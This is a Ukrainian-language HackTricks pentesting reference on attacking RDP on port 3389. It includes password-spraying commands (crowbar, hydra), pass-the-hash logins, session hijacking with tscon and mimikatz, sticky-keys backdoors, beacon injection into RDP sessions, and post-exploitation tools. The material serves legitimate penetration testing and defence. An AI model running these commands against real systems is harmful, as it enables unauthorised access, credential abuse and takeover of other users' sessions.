# 3389 - Pentesting RDP {{#include ../banners/hacktricks-training.md}} ## Основна інформація Розроблений компанією Microsoft, **Remote Desktop Protocol** (**RDP**) призначений для забезпечення графічного інтерфейсу з'єднання між комп'ютерами через мережу. Для встановлення такого з'єднання користувач використовує програмне забезпечення клієнта **RDP**, а одночасно віддалений комп'ютер повинен працювати з програмним забезпеченням сервера **RDP**. Ця конфігурація дозволяє безперешкодно контролювати та отримувати доступ до робочого середовища віддаленого комп'ютера, фактично перенісши його інтерфейс на локальний пристрій користувача. **Порт за замовчуванням:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` ## Перерахування ### Автоматичний ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` Він перевіряє доступне шифрування та вразливість до DoS (без викликання DoS для служби) і отримує інформацію про NTLM Windows (версії). ### [Brute force](../generic-hacking/brute-force.md#rdp) **Будьте обережні, ви можете заблокувати облікові записи** ### **Password Spraying** **Будьте обережні, ви можете заблокувати облікові записи** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ### Підключення з відомими обліковими даними/хешем ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### Перевірка відомих облікових даних на сервісах RDP rdp_check.py з impacket дозволяє перевірити, чи є деякі облікові дані дійсними для сервісу RDP: ```bash rdp_check /:@ ``` ## **Атаки** ### Вкрадення сесій З **права SYSTEM** ви можете отримати доступ до будь-якої **відкритої RDP-сесії будь-якого користувача** без необхідності знати пароль власника. **Отримати відкриті сесії:** ``` query user ``` **Доступ до вибраної сесії** ```bash tscon /dest: ``` Тепер ви будете всередині вибраної сесії RDP і зможете видавати себе за користувача, використовуючи лише інструменти та функції Windows. **Важливо**: Коли ви отримуєте доступ до активних сесій RDP, ви виведете користувача, який її використовував. Ви можете отримати паролі з процесу, вивантажуючи його, але цей метод набагато швидший і дозволяє вам взаємодіяти з віртуальними робочими столами користувача (паролі в блокноті без збереження на диску, інші сесії RDP, відкриті на інших машинах...) #### **Mimikatz** Ви також можете використовувати mimikatz для цього: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman Поєднуючи цю техніку з **stickykeys** або **utilman**, ви зможете отримати доступ до адміністративного CMD та будь-якої RDP-сесії в будь-який час. Ви можете шукати RDP, які вже були зламані за допомогою однієї з цих технік, за адресою: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection Якщо хтось з іншого домену або з **кращими привілеями входить через RDP** на ПК, де **ви є адміністратором**, ви можете **впровадити** свій маяк у його **процес RDP-сесії** і діяти як він: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} ### Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` ## Автоматичні інструменти - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) **AutoRDPwn** - це фреймворк після експлуатації, створений на Powershell, призначений в основному для автоматизації атаки **Shadow** на комп'ютерах Microsoft Windows. Ця вразливість (перерахована як функція Microsoft) дозволяє віддаленому зловмиснику **переглядати робочий стіл жертви без її згоди** і навіть контролювати його на вимогу, використовуючи інструменти, рідні для самої операційної системи. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Контролювати мишу та клавіатуру автоматизованим способом з командного рядка - Контролювати буфер обміну автоматизованим способом з командного рядка - Створити SOCKS-проксі з клієнта, який каналує мережеву комунікацію до цілі через RDP - Виконувати довільні команди SHELL та PowerShell на цілі без завантаження файлів - Завантажувати та скачувати файли до/з цілі, навіть коли передача файлів на цілі вимкнена - [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) Цей інструмент дозволяє виконувати команди на RDP жертви **без необхідності графічного інтерфейсу**. ## HackTricks Автоматичні команди ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` {{#include ../banners/hacktricks-training.md}}